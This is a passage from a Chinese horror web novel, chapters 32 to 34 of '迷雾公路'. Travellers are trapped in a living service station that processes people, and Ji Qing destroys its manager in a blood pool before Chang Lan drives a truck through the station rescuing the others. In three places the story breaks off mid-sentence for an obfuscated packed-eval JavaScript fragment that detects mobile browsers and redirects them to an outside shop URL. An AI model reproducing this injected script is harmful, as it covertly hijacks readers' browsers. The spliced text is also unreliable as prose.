不是车灯的光,也不是加油站那种昏黄垂死的光。那是一整片,连成一片的、混乱而斑斓的光晕,在红雾的深处摇曳,如同深海之中引诱猎物的怪诞鱼群。 与此同时,坐在后排的季青似乎听到很多声音。 不是风声,不是引擎声,而是隐隐约约的、无数人低语、哭泣、甚至……尖笑的声音。 它们混杂在风声中,从四面八方的红雾里渗透进来。 32. 迷雾公路(七) 路上的红雾,浓得化不开,如同汽化的血,仿佛带着温度贴在车窗上,留下粘稠蜿蜒的红色痕迹。 伴随着道路的深入,轮胎好像不再是碾压路面,而是在一层粘稠的、仿佛黏膜般的物质上行驶,车底传来阵阵规律的震动。 常岚却没有松开油门,原本笨重的SUV在路上近乎以“滑行”的姿态前进。 坐在后排的季青一只手按在自己灼热的【无间甘霖】印记上,那尊骷髅杯盏仿佛活了过来,其中的猩红漩涡正在流动旋转,散发出一种混合了诱惑与极度危险的波动。 这波动如同黑暗中的灯塔,不仅没有驱散恶意,反而引来了更深处东西的“关注”。 她能感觉到,有无数贪婪的“视线”穿透浓雾,锁定在这辆车上,锁定在她身上。 常岚抬起眼,从后视镜瞄了一眼根本看不清的浓重红雾,突然出声: “坐稳了!” 常岚突然的提醒将众人从疲惫的休憩中拉回紧张的现实,他漆黑的眼眸中没有波动,只有一种近乎冰冷的专注。 前方,浓雾中猛然冲出一辆油罐车,直奔SUV而来!常岚甚至没有减速,只是摆动手腕,车身以一个不可思议的角度侧滑,几乎是贴着那雾脸的边缘擦过,带起的风压将雾气撕开一道短暂的裂口—— 裂口后方,是更多影影绰绰、追逐不休的幽灵车影! 这些幽灵车不再是公路上沉默的背景板,它们引擎盖下喷涌着暗红色的火焰,车窗后是空洞的眼窝和扭曲疯狂的面容,它们加速、冲撞、挤压,发出金属扭曲的刺耳噪音,试图将这两辆迷途的车辆彻底淹没、同化。 一辆锈蚀的巴士残骸如同疯狂的巨兽,从侧后方猛撞过来! 常岚甚至没有看后视镜,那红雾遮蔽了所有视线,此刻他更信赖自己那堪称离奇的直觉—— 他猛地一踩油门,同时轻拉手刹,SUV在粘稠的“路面”上做了一个近乎完美的漂移甩尾,车尾险之又险地扫过巴士的车头,将其带得一个趔趄,反而撞上了旁边另一辆试图包抄的轿车残骸。 在轰隆的巨响、四溅的锈蚀碎片和余子夜分贝极高的尖叫中,常岚已经操控车辆如同游鱼般从缝隙中钻出。 后方的王四洲吓得魂飞魄散,只能死死跟着常岚车辆尾灯划出的诡异轨迹,如同在刀尖上跳舞,每一次转向都感觉像是要直接撞进地狱的入口。 “疯了!这些汽车突然怎么了!”江大河声音沙哑,他紧攀着座椅,身体因紧张而绷紧。 常岚又躲过两辆轿车的夹击,本来就被红雾锈蚀的SUV现在连刹车都带出尖锐的摩擦声,再这样耗下去,刹车迟早会失灵。 他皱了皱眉头,再次踩下油门,不能在路上消耗太多时间,当务之急是迅速赶到太仓服务站。 希望如同毒药,明知前方可能是更深的陷阱,却不得不去。 随着距离拉近,太仓服务站的希望之光也露出了它狰狞的本貌。 那不是灯火,是一片庞大、混乱、不断扭曲变幻的霓虹光污染。乱七八糟的巨大灯管拼凑出“太仓服务站”的字样,字体歪斜,颜色俗艳,在翻滚的红雾中散发出令人作呕的活力。 车底规律低沉的噪音也越来越清晰,不再是单纯的声响,而是混合了某种沉重、规律的搏动声,如同一个巨大无比的心脏在跳动,伴随着机器传送带的轰鸣、金属摩擦的尖叫。 以及……一种细微却无处不在的、湿滑的蠕动声。 常岚眼神一凛,猛地将油门踩到底,SUV发出一声压抑的咆哮,如同离弦之箭,悍然冲破了那层最后的、几乎凝固成实质的猩红帷幕! 冲进太仓服务站的瞬间,所有的追逐声、哀嚎声、引擎声都消失了。 几人惊魂未定地往后望去,只见那些幽灵车辆齐刷刷地停在服务站界限之外,如同完成了押送任务的狱卒,沉默地打着双闪灯,随后一辆接一辆,井然有序地退入浓稠的红雾中,继续它们永恒的巡游。 一种近乎真空的死寂笼罩下来,只有车辆引擎的余温在微微蒸腾着寒气。 众人透过车窗再往前看,眼前的景象让呼吸都为之一滞。 这根本不是人类理解中的高速服务站,它是一个由生锈钢铁、裸露的砖瓦、混凝土和大量仍在微微搏动、带着湿润光泽和隐约血管纹理的肉色腔壁强行糅合在一起的巨大复合体。 建筑结构扭曲怪诞,像是某种生物的脏器被胡乱拼接、放大后固化而成。几根粗大的、如同血管或气管般的肉色管道在建筑表面蜿蜒盘绕,连接着不同的区域。 最显眼的是服务站后方高耸的“烟囱”,它并非砖石结构,而是某种角质化的中空器官,正有节奏地喷吐着带着浓烈血腥和酸腐气味的白色蒸汽。 入口处,是一个巨大无比的、类似工厂使用的滑轨大门,奇异绚丽的各色霓虹灯光,将门口的一切都照得奇幻纷杂,更添诡异。 紧跟着他们进来的王四洲死死踩住刹车,心脏在胸腔里疯狂擂动,几乎要撞断肋骨。 他小心翼翼走下车,贪婪地深呼吸一口,却吸进满肺腔混合铁锈、血腥和某种活物腐败的气息,胃里顿时一阵翻江倒海。 “你们,下……下车吗?”干呕着的王四洲敲了敲SUV的车窗,他的车停在旁边,母女二人缩在车里,不敢出来。 季青也深吸了一口那令人作呕的空气,强压下胃里的翻腾,率先推开了车门。 “我们没得选。” 众人聚集在一起,小心翼翼地走向那扇洞开的、仿佛能吞噬一切的滑轨大门。 离奇的光晕、蠕动的墙壁、搏动的管道、喷吐蒸汽的烟囱……这一切都在疯狂冲击众人的世界观。 他们面对的是超乎理解的、仿佛整个空间本身的恶意,一种源于认知崩塌的深层恐惧,像冰冷的藤蔓,悄悄缠上了众人的脊椎。 门内有一个身影,正站在光晕之中等待着他们。 那是一个穿着过分笔挺、但质地却类似干燥羊皮的黑色西装的男人,他轻快地走向众人。 “欢迎光临太仓服务站,旅客们。”他的语气冰冷,眼神却透露着一股精明和市侩,“我是本站的经理,你们叫我经理就可以。” 他的目光扫过众人,尤其是在季青手背的【无间甘霖】印记上停留了片刻。 王四洲犹豫了片刻,还是踌躇上前,询问道:“经理!经理你好!服务站这里,卖不卖水或者什么吃的?” 他小心翼翼地将一叠钞票递过去。 经理看都没看那钞票,只是用一根手指,轻轻推开了王四洲的手,他的笑容里带上了毫不掩饰的嘲讽。 “钱?呵呵……亲爱的旅客,您真幽默。”他慢条斯理地说,声音在空旷的入口大厅回荡,“在这种地方,没有人需要这些花纸片。” 他张开双臂,仿佛在展示一个伟大的王国:“在这里,唯一的硬通货,是‘价值’!是你们能为服务站做出的贡献!想获得物资?当然可以,用你们的劳动来换。” “劳动?”江大河眉头紧锁,上前一步,将王四洲稍稍挡在身后,沉声问道,“什么意思?我们只是路过,需要补给。” “意思就是,天下没有免费的午餐,更没有免费的……生存权。”经理的笑容不变,“在本站,不工作的人,没有消耗资源的资格。他们本身,就是资源的一部分。” 经理拍了拍手,大厅侧面的墙壁忽然分开,露出后面一个灯火通明、更加巨大的空间—— 那里像是一个繁忙的工厂车间,无数穿着各异服装的人在流水线、传送带和各种怪异的机器间机械地忙碌着,空气中弥漫着更浓的血腥味和高频的震动噪音。 “现在,进行入职分拣!”经理的语气变得威严,随着命令落下,他身边不知何时出现了和瓠犀高速收费站一样的鲜红肉触手,对着众人挥舞起来。 “滚开!” 江大河暴喝一声,几乎是本能反应,手中的撬棍带着风声就砸向最近的一条肉触手!常岚的剑也瞬间出鞘半尺,寒光乍现! 然而,诡异的事情发生了。 江大河的攻击仿佛打在了一层无形的壁垒上,撬棍在距离肉触手还有几厘米的地方被硬生生阻住,难以寸进! “抗拒……是没用的。”经理的声音带着嘲弄,他意味深长地看向季青: “这里的‘规则’,就是绝对的意志。这位小姐,您应该懂的。” 季青感到一阵强烈的眩晕,她强忍着不适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564469|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,紧握胸前的三角护身符,这个空间本身在排斥他们的反抗行为。 “常岚!江警官!先别动!”她急忙喊道,声音因突如其来的精神压迫而有些颤抖,“迄今为止的所有怪谈,都遵循着一定规则!” 江大河和常岚也感受到了那股无处不在的压制力,如同深陷泥潭,有力使不出。 常岚缓缓收剑入鞘,但肌肉依旧紧绷。江大河死死握着撬棍,额角青筋暴起,却也无法再前进一分。 肉触手趁此机会,迅速扫过每一个人。 “王四洲,吴晴,【碌尘芥】印记。……嗯,普通。去加工流水线和包装区,负责初级处理工作。”他挥挥手,鲜红的肉触手,不由分说地将还在发愣的王四洲和紧紧抱着妞妞的吴晴单独分开,推向不同的传送带入口。 “不!我不去!放开我!”王四洲惊恐地挣扎,但肉触手如同钢钳般缠住了他和妻子吴晴,吴晴吓得连哭都哭不出来,只是死死抱着女儿妞妞。 王四洲挣扎着回头,只看到妻子和孩子被推入一个满是金属撞击声和血腥气的通道,而他自己则被带向另一个散发着热浪和怪异气味的区域。 “等等,还有这个小孩,妞妞,【痴骨缚】印记。灵觉敏锐,是优质的……‘感知型人才’。”经理看着小女孩,眼中闪过一丝贪婪,“去‘协调室’,做记录员。” “妈妈!爸爸!”妞妞的哭喊声回响在大厅。 妞妞被强行从吴晴怀中拉走,带往一个相对安静,但墙壁上布满了不断闪烁、如同神经束般光带的区域。 “余子夜,同样是【痴骨缚】。善于观察和记录?正好,一起去‘协调室’做记录员,还能照顾一下那个小女孩,我真是太仁慈、太善解人意了。” 那个经理洋洋得意地指挥着肉触手,还不忘夸赞一下自己。 余子夜瞪圆了眼睛,还没来得及骂他两句,就被另一条肉触手带走,推向那个有着无数闪烁光带的区域。 “江大河,【碌尘芥】印记,不过体魄尚可。去搬运科,负责‘原料’和‘半成品’的转运。” 江大河也没能发出抗议,就被肉触手推搡着,走向一个堆满各种模糊不清、摆放着“货物”的平台,沉重的金属推车散发着寒意。 “常岚,【未业混沌】印记……噫?这是什么?”经理摸着下巴,眯着眼睛打量了一会常岚。 “我还是第一次见到这个,瓠犀收费站那帮废物怎么也不通知一声,是不是搞错了?”不过经理并没有纠结太久,“工作颗粒度还是需要对齐啊,离了我,这服务站可怎么办……” “总之物尽其用,你就去厨余垃圾处理间,负责粉碎和清理‘厨余垃圾’吧,我真是个好领导。” 常岚白了经理一眼,没有反抗,轻巧躲过企图拉扯他的肉触手,走向一个散发着浓烈恶臭和腐蚀性气味的、黑暗的洞口。 最后,经理的目光落在了季青身上,那笑容变得极其“灿烂”。 “至于您,尊贵的【无间甘霖】,季小姐……”他微微躬身,“您不需要做这些粗活。您的存在本身,就是最高的‘价值’。” 他指向大厅尽头,一条铺着暗红色地毯的通道。 “请随我来,您的‘休息室’已经准备好了。在那里,您什么都不需要做。”他的声音充满了诱惑,“您只需要‘存在’即可。” “您是我们服务站,最高级的‘珍藏品’。” 季青跟随着经理走上铺着红毯的通道,通道 似乎没有尽头,蜿蜒向下,温度在逐渐升高,空气变得更加湿热粘稠。 终于,经理在尽头的门前停了下来。 “我们到了。”经理侧过身,朝季青鞠了一躬,“请进吧,您专属的‘酿造之间’,希望您……住得愉快。” 他做出一个“请”的手势,姿态像是在邀请祭品步入祭坛。 季青没有犹豫太久,深吸一口那令人作呕的甜腐空气,缓缓抬起了带着印记的右手,准备推开酿造之间的大门。 就在她的手掌推开那冰冷金属的瞬间—— “滴答。” 一滴粘稠、温热的暗红色液体,突兀地从上方滴落,在她的手腕上,留下一条蜿蜒的、如同血泪的痕迹。 33. 迷雾公路(八) 那滴暗红色、带着温热和粘稠感的液体,凝固住了季青所有的动作。 它顺着季青的手腕缓缓下滑,留下一条蜿蜒的、如同泣血般的痕迹,最终滴落在暗红的地毯上,悄无声息地被吸收,只留下一块颜色更深的污渍。 是警告?是标记?还是……某种仪式的开始? 经理脸上并没有什么波动,仿佛这只是房间迎接客人的一种特殊方式: “请不必介意,季小姐。”他声音平静,“‘酿造之间’只是需要维持特定的环境。” 什么样的环境会产生这种血滴? 季青感到一股寒气从脊椎窜上头顶,但她没有再犹豫,用力推开了那扇沉重的门。 门内并非想象中的奢华或恐怖,而是一个极其诡异的空间。 房间是圆形的,没有窗户,墙壁同样是那种光滑的金属,上面布满了更加复杂、仿佛活着的浮雕,它们微微搏动,散发着幽暗的红光。 房间中央,是一个凹陷的巨大池子,里面盛满了粘稠的、如同稀释血液与油脂混合物的鲜红液体。 池子边缘不断“咕嘟咕嘟”地冒出浓郁得如同实质的暗红色雾气,这些雾气在池面上缓慢地翻滚、旋转,形成一个个短暂存在的、痛苦扭曲的面孔虚影,随即又破碎消散。 空气中弥漫着那种难以形容的醇厚又腐败的血气,冲得让人头晕。 一些雾气凝结在墙壁上,如同季青推门时遇到的那样化为血水滴落在地;而更多的雾气则蒸腾向上,被管道收集,不知通向哪里。 手背上的【无间甘霖】印记在这里灼热得几乎要燃烧起来,那骷髅杯盏的虚影甚至在她眼前隐隐浮现,与池中的红雾产生着强烈的共鸣。 “请您安心在此‘休息’。”经理站在门口,没有进来的意思,“您只需要……存在。让您的‘特质’,与这里的环境充分交融,这就是您的工作。” 说完,他微微躬身,那扇门便无声地合拢,将季青与外界彻底隔绝。 存在即是工作?季青站在池边,看着那翻滚的红雾,感觉自己不像是在休息室,更像是确实被放进了一个巨大的、正在发酵的酿酒罐。 而她,就是那颗正在被酿造的果实,强烈的被窥视感从四面八方传来。 与此同时,服务站的其它区域,地狱的画卷正徐徐展开。 协调室的房间安静,光线柔和,墙壁上那些如同神经束般的光带缓缓流动,散发出一种堪称宁静的气息。 余子夜和妞妞被安排坐在柔软的座椅上,面前是悬浮的光屏,屏幕上流动着无数难以理解的、如同神经信号般的流光和数据。 她们的工作,被称作“灵韵协调与记录”。具体来说,就是感受整个迷雾公路的能量流动,并在感受到特定“波动”时,进行标记和记录。 一旦她们察觉哪里有异样,光屏上就会出现不和谐的光点,紧接着就会有肉触手像得到命令一样从房间里消失,过了不久,就会有数辆幽灵汽车赶去“工作”。 余子夜好像明白了那是什么“工作”,她看着身边懵懂却敏感的妞妞,心中充满了保护欲和无力感。她们在这里的相对“安全”,是建立在其他人地狱般的痛苦之上的。这份“轻松”的工作,带来的是一种截然不同的、精神上的凌迟。 而江大河面对的是另一种意义上的冲击,他被带到一个巨大的、如同集散中心般的平台。 数辆幽灵汽车不断驶入这里,卸下“货物”后又离开,地上很快堆满了杂七杂八、被包装起来的“货物”,这些“货物”大小不同、形状各异,胡乱地被堆叠在地上。 一个工头模样的人将手边的一辆沉重的金属推车推给他,指了指远处一个连接着管道的洞口。 “把东西扔进去就行了。”工头的没有过多交流,落下一句话就离开了。 江大河深吸一口气,试图用刑警的观察力来分析现状。他伸手去搬动一个较小的“货物”。触手的感觉让他胃部一阵痉挛——柔软、沉重,甚至能感觉到其下清晰的温度。 这绝不是什么无生命的“货物”! 他强忍着不适,将“货物”搬上推车。推车异常沉重,轮子在同样带着弹性的地面上艰难滚动。 他跟着其他麻木的搬运工,走向那个连接着数条巨型管道的洞口,在将“货物”投入那黑暗洞口的瞬间,他借着洞口短暂张开时透出的光线,似乎瞥见了洞内的景象—— 那好像是一个巨大的搅拌机,无数类似的“货物”在其中沉浮,被无形的力量切碎、搅拌,再被管道输送到不明的地方…… 王四洲被扔进了一个充斥着震耳欲聋噪音和刺鼻化学气味的加工流水线。一条望不到头的传送带在他面前缓缓移动。 传送带的尽头是一条金属管,金属管里不断地滑出一块块被切割成大块的“货物”。 有的看起来像是被剥离了皮肤的肉块;有些暗红色的货物像是某种器官组织;有的则像是被梳理整齐的、带着脂肪的……他不敢细想。 他的工作是对这些“原料”进行“分拣”,用手把这些不同类型的“肉”,分送进不同的次级流水线进行包装。 “不……不……这不是真的……”王四洲精神濒临崩溃,他手抖得厉害。他试图不去看流水线上的东西,但那股浓烈的血腥味和组织的触感无时无刻不在提醒他。 “啪!”一条肉触手狠狠抽在他背上,剧烈的疼痛让他惨叫出声。 “发什么呆,想变成下脚料吗?”旁边的员工见到王四洲被鞭打,出声提醒,但他仍目不转睛地盯着流水线,手上的动作也没有停止。 王四洲涕泪横流,只能强迫自己抬起颤抖的手,分拣着那些已经瘫死在流水线上的组织,他感到一阵天旋地转,仿佛自己的灵魂也在被一同撕裂。 “我成了刽子手……我成了帮凶……” 这个念头如同毒蛇,啃噬着他仅存的理智。 吴晴的处境稍好,但同样令人窒息。她坐在一个相对干净的工作台前,面前是经过“分类”的、看起来规整了许多的“产品”。 她的工作,是用一种薄如蝉翼、却异常坚韧的生物薄膜,将这些“产品”仔细地包裹起来,贴上标签再装箱。 吴晴很清楚,她包裹着的,可能是她的同类,甚至也许……她不敢去想丈夫王四洲此刻在经历什么。 她的动作机械而麻木,眼泪早已流干,只剩下空洞的眼神和不断重复的动作。周围的其他工人也是如此,沉默得像一群没有灵魂的人偶。 只有偶尔因为疲惫或失误导致包装缺陷时,鲜红肉触手的监工才会打破这死寂的循环,带来短暂的痛苦和更深的绝望。 常岚面对的则是最终极的“废弃物”。 粉碎机轰鸣着,将各种残骸——扭曲的金属、破碎的衣物、以及那些在加工中产生的、完全无法称之为“产品”的血肉碎骨和内脏残渣——一起吞噬、研磨。 这里是人间的终点。所有误入此地、被榨取完“价值”后的最终残骸,都在这里被彻底粉碎,化为这个活体建筑的养料,或者被排放到未知的“坟场”。 常岚的工作,是毁灭最后的证据,是旅途的终末。 他面无表情,但眼神深处的寒意愈盛。 而在那间名为“酿造之间”的房间内,季青站在红雾池边,已经过去了不知道多久。她没有坐下,也没有触碰任何东西。只是静静地站着,感受着。 她能感觉到,池中的红雾正试图渗透她的皮肤,与她手背上的印记交融。一种慵懒、舒适,甚至带着一丝迷醉的感觉开始侵袭她的意志,诱惑她放弃思考,沉沦于这种诡异的“滋养”之中。 不能睡……不能放弃…… 季青用力握着挂在胸前的三角护身符,她开始仔细观察房间,观察墙壁上那些搏动的管线。她发现,它们的搏动并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571109|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非完全杂乱,似乎与脚下传来的、整个服务站的“心跳”保持着某种同步。 墙壁上搏动的神经血管,脚下传来的规律震动,空气中弥漫的……是红雾!虽然被浓郁的血腥气掩盖,暂时也没有腐蚀性,但那构成公路、腐蚀车辆的猩红迷雾的本质,显然在这里被提纯、被转化! 这里不是什么休息室,这是一个红雾加工厂的核心! 这个服务站仿佛活物,在以某种她无法完全理解的方式,消化着一切,并且部分加工成红雾,放出去“捕食”那些迷途的人。 这里进行着血与血的循环,迷途之人要么直接成为它的养料;要么为它加工养料,榨干价值后,再成为循环的一部分! “季青小姐,感觉如何?‘酿造之间’的环境,还适应吗?” 就在这时,经理冰冷的声音突然从季青身后响起,鬼魅般的身影出现在门口。 季青转过身,脸上努力维持着平静,甚至挤出一丝恰到好处的困惑:“经理,这里……很奇特。但我能感觉到,外面的红雾似乎源于此地?我的‘工作’,与制造它们有关吗?” 经理的笑容更深了,带着一种掌控一切的优越感:“您的感知很敏锐。不错,这里是‘养料’的提纯中心。您看——” 他指向池中翻滚的红雾,“它们因您而更加……活跃,您的【无间甘霖】,是极佳的‘发酵剂’。” “发酵剂?”季青捕捉到这个词,心念急转,“为了制造……维持这片区域的‘消化液’?那么,外面那些工人们处理的‘原料’……究竟是什么?我看那些运送的‘货物’,形态似乎……不太寻常。” 经理似乎很享受这种“解惑”的角色,他踱步进来,用手指虚点着池中的红雾:“我们将迷途者进行初步分类和加工:筋骨强健者,制成‘能量’;灵觉敏锐者,萃取其‘精华’;至于那些普通的,则作为基础的‘血肉燃料’。而最特别的那些,则是让一切‘养料’更加美味的……最佳调味品!” 他猛地凑近季青,那双眼睛里闪烁着诡异的光:“现在您明白了吗?您和他们是不同的。他们是消耗品,是食材。而您……” 他深吸一口池边弥漫的血气,露出陶醉的表情,“您是能提升整个盛宴品质的……稀有香料!” “香料?” 这个词让季青明白,她被单独安置在这里,作为所谓“最高级的珍藏品”,恐怕是因为—— 她不是客人,她是主菜。 而她的同伴们,正在用他们的汗水、恐惧和绝望,为这场“盛宴”准备着配菜和佐料。 季青眼角的余光瞥见,池中的红雾因为经理情绪的波动,以及她自己内心翻涌的惊骇与愤怒,旋转的速度明显加快了。 “看来,‘酿造’已达临界!”经理满意地看着池子的变化,池中的红雾因这宣言而彻底沸腾,翻滚着如同烧开的血水! 经理狂喜的眼中最后一丝人性湮灭,化为纯粹的贪婪。他猛地伸出苍白的手,五指如钩,抓向季青的手臂。 “是时候完成最后的融合了!” 就在那冰冷指尖即将触碰到季青的瞬间—— 季青眼中寒光一闪,她没有后退,反而向前半步,身体微侧,并非硬抗,而是用一种巧劲顺势扣住了经理的手腕!同时另一只手疾如闪电,抓住了他笔挺西装的衣领! “畜生,”她的声音冰冷刺骨,带着一种决绝的嘲讽,面上却保留着微笑:“既然这么渴望‘融合’——” 她用尽全身力气,借着经理前冲的势头,猛地向侧后方那翻滚沸腾的血池,倒拽而去! “那就一起下去吧!” “你——!”经理脸上的狂喜瞬间被惊愕和一丝不易察觉的恐惧取代,他试图挣脱,但季青爆发出的、融合了愤怒的力量出乎意料的强大! “噗通!” 粘稠又带着诡异灼热的红雾瞬间将二人包裹。 34. 迷雾公路(九) 粘稠又灼热的红雾血水如同活物般涌入季青的口鼻,带着那股甜腻的腐败气息,试图令季青窒息,混乱她的意识。 无数细碎、疯狂的呓语直接在她脑中炸开,诱惑她放弃抵抗,融入这永恒的“酿造”。 而经理则在她身边剧烈地挣扎,他那非人的躯壳爆发出远超预期的力量,试图挣脱季青的钳制。 “愚蠢!”经理的声音在水中扭曲变形,却依旧带着傲慢与惊怒,“你这是无谓的挣扎!” 他周身泛起一层暗红色的能量波纹,试图调动“酿造之间”的权限,加速季青与血池的融合。 池中的红雾响应着经理的呼唤,更加凶猛地向季青挤压过来,仿佛无数根带着倒刺的舌头,要舔舐掉她的血肉与灵魂。 季青微微一笑: 此地的管理者? 季青的意识明明在窒息的边缘挣扎,念头却越发清晰——经理或许是太仓服务站的管理者,但A市怪谈的底层规则,绝非他所能完全定义! 她几次险死还生,护身符却毫无反应,唯独当她面对黑衣人,在黑衣人企图强行扭曲破坏规则时,它才显现力量!这绝不是巧合! 就在经理的权限之力即将触及她,红雾要将她彻底吞噬的刹那—— 她握紧胸前的三角护身符!护身符此刻仿佛回应了她心中对“规则”的明悟,突然透过湿透的衣物,爆发出前所未有的璀璨金光! 金光如旭日初升,无数蝶影自虚空中涌现,在血池中掀起金色的浪潮,瞬间缠绕上经理的身体,以及他调动起来的那部分狂暴的红雾能量! “呃啊!这……这是什么?!”经理发出一声不似人声的惊骇尖叫,他感觉到一股绝对且不容置疑的秩序力量,如同无形的巨钳,正强行剥离他身为“管理者”的权限! 那金色蝶影并非简单的攻击,而是在强制执行某种烙印在此地最深处的铁律! 正如季青他们一进来就被分配不同的岗位一样,各司其职协助这个服务站进行消化,以换取生存的价值,这就是太仓服务站的规则。 此时护身符的光芒如同最公正的法官,当经理被季青拖入池中的那一刻起,他就不再是超然的管理者,而是落入了“酿造”的范畴! 而他试图调动权限干预自身处境的行为,更是严重破坏了“各司其职”的核心规则! “不!不可能!”经理脸上的傲慢彻底粉碎,取而代之的是一种源自本能的深切恐惧! 他不再是规则的掌控者,他变成了规则的破坏者!他感觉自己正在被这片他掌控了不知多久的空间抛弃,否定!这种被自身力量根基反噬的认知,让他魂飞魄散! 蝶影骤然收紧!经理身上那层暗红色能量波纹如同被戳破的气泡般瞬间消散。他调动起来的红雾能量失去了指挥,变得更加混乱、反噬自身! “不!不对!我才是这里的……” 池中那些原本受他驱使的红雾,在护身符金光的引导下,失去了对他的“敬畏”,开始遵循其最本质的“消化”特性,反过来腐蚀、分解他这个“非法闯入”且试图“扰乱流程”的存在! “嗤嗤嗤——!” 经理的身体表面冒起浓密的黑烟,他那身笔挺的“人皮”西装率先融化,露出下面和加油站工作人员一样更加扭曲、非人的本质结构,而这结构此刻也在红雾的侵蚀下迅速消融! 他发出的惨嚎已经无法分辨出任何语言,只剩下纯粹被规则反噬的痛苦悲鸣。 这护身符,果真是规则的守护者,而非个人的庇护所!它只在乎怪谈中的规则是否被遵循! 季青甚至不再需要去拖拽经理,规则的力量和红雾的本能已经牢牢锁定了它新的“消化”目标。 仿佛是最终的裁决,护身符的金色蝶影与池中失控的红雾能量达到了一个临界点,轰然爆发! “嗡——!!” 一股无形的、规则级别的冲击波以池子为中心轰然扩散!整个“酿造之间”剧烈震颤,墙壁上那些搏动的管线疯狂闪烁,明灭不定。 池中的红雾被这股力量彻底搅动,蝶影被染上红色,冲天而起,在酿造之间的中央形成了一个巨大的、漩涡般的血红龙卷! 龙卷中心,金光与血光疯狂交织、湮灭,发出空间撕裂般的刺耳尖啸! 经理的残骸在漩涡中被彻底撕碎、吞噬,连最后一点痕迹都未能留下。 在这规则级碰撞发生的瞬间,远在厨余垃圾处理间的常岚,猛地捂住了自己的左手腕。那里缠绕着一圈被袖子遮住、毫不起眼的红色细绳…… 那是他出发之前递给季青的红绳的另一半。 此刻,红绳传来一阵灼烫与剧烈的拉扯感,方向明确指向服务站的核心! 季青被卷入了强烈了灵异波动之中! 常岚环顾四周,似乎因服务站中心传来的剧烈波动,整个工作流程都停了下来,连那些监工的肉触手都僵在原地。 常岚没有任何犹豫,他迅速闪身到前来倾倒垃圾的幽灵车旁,一剑柄敲晕了司机扔下去,自己跳上了那辆锈迹斑斑但引擎尚且能用的垃圾转运车驾驶室。 引擎发出沉闷的咆哮,在监工肉触手因核心规则震动而集体僵直、萎缩的窗口期,常岚驾驶着这辆散发着恶臭的车辆,如同脱缰的野马,冲出了处理间! 冷静,冷静! 像季老师一样思考! 他脑中清晰地浮现出之前被“入职分拣”时,其他人被带走的方向: 现在所处的垃圾处理中心离季青的位置相当远,路上刚好可以经过其他人所在的分区。 垃圾转运车在服务站内部如同迷宫般、布满粘液和蠕动肉壁的通道中疾驰。 常岚将车技发挥到极致,方向盘在他手中如同活物,一次次惊险的甩尾、急转,车身以毫厘之差避开因能量紊乱而不规则痉挛、闭合的肉膜通道,以及从破裂管道中喷溅出的腐蚀性液体。 车轮碾过湿滑的肉壁,带起令人牙酸的摩擦声和飞溅的脓液。 “吱嘎——!” “江警官!”常岚大喊一声,目光锁定前方一个岔路口。 几乎是同时,岔路另一侧传来一声怒吼,接着是某种东西被撕裂的声音! 只见江大河如同猛虎出闸,浑身煞气,手中拎着一根不知从哪个倒霉蛋身上拆下来的、顶端带着钩子的金属长杆,自己解决了一个僵直的监工后冲了出来,正好在通道口与疾驰而来的垃圾转运车汇合! 常岚甚至没有完全停车,只是猛地减速,副驾驶的车门已经被他从内部一脚踹开—— “上车!” 江大河看了一眼身后那些开始缓缓恢复蠕动的肉触手,咧嘴一笑,三两步助跑,猛地一跃,精准地抓住了车门框,矫健地翻身钻进了副驾驶,连呼吸都没平稳就问:“去哪?” “救人!”常岚言简意赅,方向盘猛打,垃圾车再次咆哮着冲入另一条通道。 包装区的吴晴正和几个工人茫然地看着停滞的流水线。常岚驾驶着垃圾车一个炫酷的九十度漂移,横停在工作区入口,车轮在地上刮出清晰的痕迹。 “走!” 吴晴吓了一跳,但很快眼中的惊慌就消失,立刻拔腿冲了过来,江大河探出身子,手臂如同铁钳,将她迅速拉上车厢。 “下一个,加工线!”常岚没有半点犹豫,飞速调转车头。 垃圾转运车引擎轰鸣,在狭窄的通道内再次加速。 对面加工流水线上,王四洲正抱头蹲坐在地,脸上是崩溃后的麻木。 垃圾转运车疾驰而来,常岚甚至没完全停车,只是极限减速,江大河已经从副驾探出大半个身子,手臂一伸,如同老鹰抓小鸡般,一把将还在发懵的王四洲拦腰捞上了车! “就剩余子夜和妞妞了!”江大河吼道,将手中的金属长杆握紧,目光扫视着上方复杂的管道结构。 常岚一点头,油门深踩,垃圾转运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580624|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车如同发怒的公牛,冲向地势较高的协调室方向。那里已经有些混乱,原本宁静的气氛被打破,墙壁上的流光线管躁动地频闪着。 “到协调室下方了!余子夜和妞妞在上面!”常岚感受着腕上红绳越来越烫,语气急促。 “看我的!”江大河低吼一声,猛地推开天窗,利用长杆顶端的钩子,精准钩住一条粗大的、停止搏动的管道,整个人如同灵猿般借力荡起,手脚并用,快速向上攀爬! 